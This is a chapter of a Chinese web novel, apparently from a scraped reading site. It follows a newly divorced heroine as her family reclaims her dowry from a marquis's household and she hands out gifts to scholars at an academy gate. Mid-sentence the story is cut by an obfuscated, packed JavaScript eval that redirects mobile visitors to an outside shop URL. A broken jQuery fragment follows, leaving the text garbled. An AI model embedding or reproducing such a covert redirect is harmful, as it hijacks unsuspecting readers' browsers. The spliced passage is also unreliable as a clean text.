祝月盈最终还是留在了祝府里。
坊门一开,祝持德和程临微就带着浩浩荡荡一群人前去侯府清点自己的嫁妆,这般阵仗惹得坊中许多人家好奇探头。
祝时安今儿也不复习了,他一直守在妹妹身侧,生怕对方想不开。
祝月盈想开得不能再开:“阿兄,你别老这么盯着我,怪渗人的。”
祝时安抱臂靠回椅背上:“小没良心的,你阿兄我好歹也算一夜没睡,现在好心好意看着我可怜的妹妹,竟然招来的是这般冷言冷语的批评。唉,人心难测啊。”
祝月盈扶额:“好好说话。”
“好吧,我确实怕你接受不了。”
祝时安瞬间乖巧:“毕竟小妹刚刚还被侯府找来的杀手吓醒,马上又和他们对簿公堂,耶娘也是害怕你在一念之差中走了极端。”
“耶娘和阿兄的好心我知晓啦……”祝月盈无奈安抚道,“可我真的没有你们所想的那般脆弱,我现在心情好的不得了。”
祝时安点点头:“果然是受了太大刺激。都能说出这种胡话来。”
兄妹二人接下来的聊天也是完全各说各的,祝月盈只能住言小憩。
与祝家的氛围不同,此时的宁顺侯府却是一片起飞狗跳。
失去了姻亲的关系,祝家又在陛下面前过了眼,祝持德早就看不起侯府小家子气的做派,当然也没想着给他们留面子。
他带着一众祝家护卫堂而皇之叩响宁顺侯府的门:“宁顺侯世子夫妇已经和离!请侯府归还我儿嫁妆!”
侯府门房在里面装死,祝持德也不慌,护卫们一遍遍整齐喊着上述话语,惹得坊内许多人晨起来探热闹。
但凡有好奇之人上前问询,祝持德便会大声回答:“昨夜侯府有人买凶欲杀害我家大娘子,已由官府介入义绝,今儿我是上门来拿回我儿的嫁妆的。”
这件事一传十十传百,等到侯府终于愿意把外面的人放进去时,宁顺侯世子夫妇义绝的消息已经随着坊门的大开传过了半座平宁城。
阮正柔在府中得知此事后,更是恨得摔了手中剪刀:“泥腿子出身,狗彘之徒!竟没半分礼义廉耻!”
她胸中怒火更胜:“大张旗鼓把这件事说出去,祝家竖子就不怕众人耻笑祝月盈是和离之妇吗?!”
棠梨给主子顺气:“夫人没必要和狡诈商贾较劲。他们最是无赖,投鼠忌器啊。”
她说罢,又试探着问:“门房那边还在等夫人的指示……”
阮正柔恶狠狠地道:“让他们进!都叫府里的侍从看好了,别让这些鼠辈多拿一丝一毫的东西!”
祝家众人在宁顺侯府前等待了半个时辰,侯府终于不情不愿地打开了大门。
程临微带着一众账房最先迈向女儿的院子,她手中有三年前的嫁妆单子,祝月盈回府后又把自己新整理的单子给了阿娘,程临微此时已经能做到心中有数。
她站定在院子中央,冷言看着侍从们挨个将祝月盈的嫁妆搬出来,左手单手拨动桌案上的算盘,右手在纸上画着什么,看得侯府下人一愣一愣的。
祝持德仔细盯着侍从手中搬着的物什,比对女儿列的单子一件一件确认。
阮正柔当然不愿意出面,但是她派了棠梨悄悄探查这边的情况。
听罢对方的叙述,阮正柔更是说不出话来。
祝家人就差把“防贼”二字写在脸上了,甚至还专门调了商队的护卫看守院子周围,自己堂堂侯府,什么时候竟然被人这般对待过!
她深呼吸了好几次,这才维持住自己的仪态:“世子和侯爷那里有没有受影响?”
棠梨斟酌道:“侯爷在和小厮下棋,世子……还未醒。”
阮正柔对儿子的表现也颇有微词:“怎得一天天不去国子监学习。”
棠梨自然不敢批评世子,她安静候在一旁,就当什么都没听见。
祝家人的动静着实大得很,程临微和几个账房拨弄算盘的声音就没有停过,搬出来的嫁妆立马有祝持德的人护送回祝府,显然不想在侯府多停留哪怕一秒。
阮正柔自知理亏,也不想去拉低身份,只能在府中装不知道。
她是不知道了,但外面的人知道不少。
昨儿半夜那一遭闹得坊中多半都醒了,而后又是武侯上门又是祝家上门的,再迟钝的人也搞懂了其中的弯弯绕绕。
那就是,本来在平宁作为一桩美谈的宁顺侯世子夫妇,和离了!
三年之前,侯府选定商贾出身的祝大娘子作为世子妻室,可谓让无数人为之惊讶。
在得知侯府正是感激前朝末乱时祝家相助的恩情时,风向自然转为夸赞世子滴水之恩涌泉相报的品性。
就是这么一桩看似好人有好报的婚事,这三年间还常常被其他人家用羡慕的语气提起。
结果今儿一瞧,两家不仅一个晚上就被官府强制和离,看祝家和侯府之间的态度,倒像是结下了大梁子。
很快,在祝时安和谷雨手下人的推动下,侯府妾侍买凶杀人的消息便传了出来,其中还暗戳戳藏着侯府私自挪用世子夫人嫁妆的消息。
步自芳此时在赤乌大街上,她正往祝家的方向行去,冷不丁听到这么一条讯息。
她脚下步伐更快,祝家的门房认得步阿婆,连忙向内通报。
祝时安有些意外,祝月盈却笑道:“府外寒凉,快请步阿婆进来。”
步自芳带着亲手织成的四双手套进来:“我前些日子在东市寻了胡商买的上等毛,还望郎君娘子不要嫌弃。”
祝月盈和祝时安接过,谢道:“怎么会?年关将至,步阿婆真真是雪中送炭。”
步自芳又小心问道:“昨儿听闻祝府和侯府的动静,我实在心里难安,这才冒昧登门。”
“啊,”祝月盈大方承认道,“是我和侯府和离了。昨儿正是为了此事奔波,步阿婆不必担心。”
祝时安和之前一直暂住在祝府的步自芳更熟稔些,他直接安抚道:“阿婆放心,没什么大事。如今我小妹和离回家,还是一桩好事呢。”
“若祝娘子心中有不快,千万不要憋着。”
步自芳关心道:“我与九思承了祝家太多恩情,实在不知何以为报。说来也有些冒犯,但我……有些担心祝娘子。”
祝月盈因着之前沥水县的事,和步自芳的关系也近了不少:“阿婆放心吧,我心中的确没有世子,对侯府的作为早有预料,故而此时更多的是轻松,而非伤怀。”
步自芳闻言感慨道:“祝娘子着实是个果断人。”
祝月盈眨了眨眼,她好奇道:“步阿婆何出此言?”
“郎君娘子也知,我是前朝末乱中杀出来的老妇,”步自芳叹了口气,“与贵府不同,那时的我混迹于流民乱军,最知道当断不断的害处。”
她本来有许多同行的伙伴,有携手共进的丈夫,渐渐的,最后只剩她自己了。
而其中很多人,就埋没在一瞬间的犹豫不决中。
年轻的芳娘不爱说话,她无数次被骂心肠冷硬,被仇人骂,被亲人骂,被友人骂,被陌生人骂。
或许她的确天生冷情,但她从前朝末乱中活了下来。芳娘只相信拉她出火坑的步成峰,以及她手中的枪。
步自芳衷心感叹着:“只是看着祝娘子果断跳出火坑的姿态,让我想起一些往事罢了。大宁现在是承平盛世,是你们的未来,自然不能拿那个时候的规矩往里套,唉,是我又着相啦。”
祝月盈给她斟了一杯热茶:“可是阿婆方才夸我了呀。我现在当然高兴得很,恨不得多听几句呢!”
祝时安无奈笑着,又招待着步自芳暖暖身子再走。
他与妹妹不一样,祝时安比祝月盈更熟悉步自芳,这位向来不愿意给别人添麻烦的阿婆,为何要专门为了模棱两可的事找上门来?
听她方才的语句,话里话外都是对小妹的关心,可步自芳分明不该对小妹如此在意。
祝时安更倾向于她是代替谁人出面来开解小妹的。
那人会是谁呢……
几个时辰后。
侯府中,祝家的一行人来得快去得也快,程临微将账房们的结果汇总,发现最终还是有两千余两银票对不上。
两千两对于祝家而言不算什么,可放出去也能供寻常农户用到死都用不完。
程临微刚想出言,祝持德又温柔挽过她的手:“不宜声张。”
他又用正常的音量道:“娘子一如当年风采,账算得又快又好。”
“行吧。”程临微深知不能把侯府逼上绝路的道理,“就当是喂狗了。”
二人带着浩浩荡荡一群人出了府。
回家的路上,程临微心中一直想着这两千两。
阿盈的单子是刚整理出来的,不应有这么大一笔亏空,可见是侯府有人偷偷将这些昧下了。
两千两于寻常人家而言是一笔巨款,可对于侯府这种喜欢打肿脸充胖子、非要结交勋贵的府邸……
程临微冷笑一声,这位精明的侯夫人怕是还不知道,她那宝贝世子到底在外面染上了什么瘾吧。
祝月盈早就在府中等待父母归来。
从侯府运回的嫁妆一件件被祝家早有准备的账房记录在册,祝月盈心中算着嫁妆的总数,便也大致能推断出耶娘何时回来。
她也是为了防止耶娘在侯府处有变故,这才一直算着时间。
祝持德和程临微挽着手回府,程临微带着管家往库房里去,祝持德则是挑好知礼的侍从随自己向坊中邻居昭告两家和离之事。
程临微只交代了几句就匆匆坐回祝月盈身边,她环顾周围:“你阿兄呢?不是说好让他陪着你吗?”
祝月盈按住马上就要兴师问罪的阿娘:“阿兄本来在陪我的。但是一个时辰前,书院来人道是夫子相请,阿兄这才离开。”
“书院相请?转过年便是春闱,别是有什么变故……”
“没事的,”祝月盈挽上母亲的手,“我当然派人出去打听了呀,是书院一夫子游历归来,此人对科举出题颇有钻研,书院也是好心召集归家的学子们前去听学,很快便能回来了。”
程临微这才稍稍放心,她转而问女儿:“阿盈有什么想吃的吗?”
“这个啊……”
祝月盈思绪一转:“有些想念东市的胡饼。”
她起身拍了拍裙摆:“这样,我出门先去东市,然后刚好在书院门口等着阿兄。晚膳就不在家里用了,我想早些歇息。”
程临微颔首:“那你多带些人。”
祝月盈被这么一提,现在是真的觉得有些饿。
她马上换了一身方便活动的圆领袍,带着小满谷雨并祝家护卫们出门去了。
祝家离东市很近,换言之,比起侯府,祝家离平宁皇宫更远。
祝月盈很快找了地方坐下,她手中捧着热腾腾的胡饼,咬下一口,酥脆的口感让她不禁满脸幸福。
小满招呼着给祝家的护卫们请客,谷雨默默坐到主子身边:“娘子现在很开心。”
“那是当然,”祝月盈沉浸在饼的香气中,“你想想,要是在侯府中,哪能有今儿这样。”
不在府中吃饭,反倒是在东市的路边铺子解决,这事要是叫阮正柔知道了,估计又得念叨好一阵她不守礼节云云。
谷雨深表同意,小满刚坐回来就听到主子的这句话,也立马点头:“娘子说得对。好久没有这么自在过了。想吃什么吃什么,想什么时辰睡觉什么时辰睡觉。”
一行人很快吃完了胡饼,祝月盈起身整理蹀躞带:“走,去接阿兄下学!”
她慢悠悠地顺着赤乌大街走向书院所在之处,却未曾想到,她在书院门口看到了另一个人——
莫为莺。
莫家的长孙女依旧戴着遮掩全身的幕篱,她站在书院旁,像是在等候什么人。
祝月盈和旁边人耳语道:“莫家娘子?她怎么在这?”
“莫家长孙今岁也参加了科举,”谷雨消息灵通,“但是莫郎君就读于国子监,莫小娘子并不应该出现在此处。”
祝月盈找了个莫为莺注意不到的地方站定,她不免关心对方:“侯府一直认定已经搭上莫小娘子了,也不知道莫尚书会不会真的把人嫁过去。”
小满凑近道:“平心而论,小满是不愿意看到世子娶莫家娘子的。”
“莫小娘子对娘子还算可以,所以小满对莫家娘子也觉得可以。”
祝月盈伸手捏了捏小满的脸颊:“听听这话说的。”
几人等了一会,书院散学声响起,谷雨负责盯着莫为莺,小满负责盯着自家大郎君,而祝月盈自己,则是有些在意另外的人。
祝时安的身影映入三人眸中,祝月盈刚想招手示意,突然看到他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050129|145067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正和身旁的郎君相谈甚欢,便没有出声打扰。
她仔细看着阿兄身旁之人,他周身气度不凡,头戴金冠别血珀石,腰间着青玉佩,身上穿的更是带有品阶的青衫——这定然是勋贵之子。
果不其然,二人在书院门口相互道别后,那位郎君径直走向了莫为莺的方向。
莫为莺迎了上去:“兄长。”
莫郎君关切道:“莺莺今日怎得不在府中?”
“兄长……”莫为莺踌躇半晌,这才怯懦说着,“父亲又提起了我的婚事,我……”
莫郎君眉头微皱,他合上手中折扇:“母亲如何说?”
“母亲也说,宁顺侯府是个好归宿。”
莫为莺心中不知为何抵触起了司所照,但她又不敢反抗父母的决定,祖父忙于春闱,她只能来找亲近一点的兄长,却也没有把想法尽数托出。
莫郎君想起今日自己专程来找祝郎君的缘由,眉间泛上凝重之色:“为兄知晓了。为兄会在父亲面前替莺莺周旋一二。”
莫为莺心底松了一大口气:“多谢兄长。”
她借着幕篱的遮掩捂住自己的心口,也不知道这其中的轻松之感究竟是从何而来。
分明、分明先前,自己是最喜欢世子的,可现在,嫁进侯府的机会就摆在眼前,她却迟疑了。
莫为莺想起司所照那日对自己的冷淡,也想起父母和他都说过的话:“祝月盈?不过是个费尽心机攀附世子的泥腿子罢了!”
世子许多次对自己诉苦,说祝月盈的跋扈,说她死活不愿意和离,说世子夫人的位置一直被她霸占着。
这样的话,不仅能激起她的危机感,让她讨厌祝月盈,更是使她对世子夫人之位多了几分期待。
别人承诺过但一直未能兑现的东西,况且这东西本就属于你,却被其他人鸠占鹊巢——莫为莺那时恨不得第二天就能嫁进侯府。
可是,祝月盈却和离了。
莫为莺再次对宁顺侯府产生了怀疑。
祝月盈此时还不知道,自己竟然在小姑娘心中占据了这么重要的位置,她正招呼着祝时安:“阿兄!”
祝时安猝不及防停住脚步,差点往前摔倒:“小妹?你怎么在这儿?”
“来接阿兄下学。”祝月盈义正言辞。
祝时安刚想说些什么,结果伸出的手还没够到小妹,就见她迎向另一个人:“步郎君!”
步九思先前去沥水县的事还未公之于众,故而此时书院众人还只把他当作文采斐然的同窗,而非陛下青睐之臣。
他今日也来书院听学了,此时正抱着书往外走,却听到那无比熟悉的声音响起。
“步郎君。”
祝月盈站在一旁,朝他挥了挥手。
步九思微笑:“祝娘子。”
他和对方保持一定距离,不想让她陷入任何流言中:“步某还未恭喜祝娘子,得偿所愿。”
祝月盈此时心情极好,她此时一身浅色上领,眉目间洋溢着笑意,更显俏皮活泼。
步九思微笑着看向心上人,又不知不觉移开了视线。
她的声音把他拉回正轨:“步郎君这几日可有瞧见司大郎君?”
步九思回忆两息,而后颔首:“三五日便有机会能见一回。”
他自然不会觉得祝月盈和司所善有什么关系:“祝娘子可是有事要寻司大郎君?”
祝月盈解下蹀躞带挂着的一物,抬手递给对方:“年关将至,怕是这段时间忙得见不到人,我便想着,给步郎君和司大郎君准备的礼物趁早不趁晚。”
她把两个粽子形香囊递给对方:“步郎君和司大郎君转过年来都要春闱,我便借着‘高中’之意为二位买下。”
祝月盈的目光坦荡,像是已经练习过许多遍:“当初在侯府,世子举刀时,有赖二位为我周旋,此为谢礼。”
背完这句话,祝月盈心底轻轻松了一口气,活泼地眨了眨眼:“所以司大郎君那一份便拜托步郎君帮我转交啦。”
她指着青灰色交杂的穗子:“这个是给步郎君的,白色穗子的是给司大郎君的。”
步九思双手接过,他眸中笑意难掩:“多谢祝娘子。”
他今儿没有穿象征学子身份的黑衫,而是着了一身黑色圆领袍,刚好腰间有蹀躞带,他便立刻将手中书放在一旁,把香囊挂到自己腰间。
祝月盈随着他的动作移动视线,她后知后觉地发现,自己似乎从未见过对方穿圆领袍的模样。
比起显得身形修长的黑衫,无论是用蹀躞带束缚的圆领袍,还是收起袖口的系带,此时步九思的穿着理应更显少年意气。
祝月盈今儿便是穿了一身浅灰蓝色的上领,衣摆绣了纹样,看起来清新活泼。
可步九思衣着之上的黑色把这种冲劲往下压了压,他周身依旧有散不去的清冷沉静,干练的穿着反倒平白添了几分稳重。
祝月盈移开视线,不去看他紧紧束起的腰间。
步九思重新端起自己的书,他礼貌道别:“祝娘子的礼物,某很喜欢。时辰不早了,等到日落后会更加寒凉,祝娘子也要早回。”
祝月盈点点头,挥手道别:“步郎君再见。”
而后她才回到祝时安身边,装作没看见阿兄脸上阴晴不定的神色。
兄妹二人相伴回家,祝时安却不准备放过自家亲爱的小妹:“祝月盈。”
祝月盈许久没听阿兄直接叫自己的名字,她浑身一抖,不情不愿地看了过去:“阿兄?”
“嗯。”祝时安状若随意,“你刚刚,是给了步郎君什么东西?”
祝月盈这才听出门道来,她坏心眼道:“对啊。”
“步郎君和司大郎君转过年来都要春闱,恰好我前些日子在东市瞧见卖粽子形香囊的,便想着‘高中’的寓意给他们俩买了几个。”
祝月盈无害笑着:“毕竟此二位在侯府中于我关系都尚可,阿兄觉得呢?”
祝时安无言,他默默用眼神谴责着自家小妹。
祝月盈摇了摇头,她慢悠悠摸向自己的蹀躞带,从上面解下本就准备好给祝时安的香囊:“唉,没想到阿兄竟是如此小气之人。”
祝时安才不管她说了什么,他抢过东西往自己腰带上一扣,高兴了:“就知道小妹不会忘了你阿兄我!”
祝月盈无奈笑笑,兄妹二人继续朝着家的方向走去。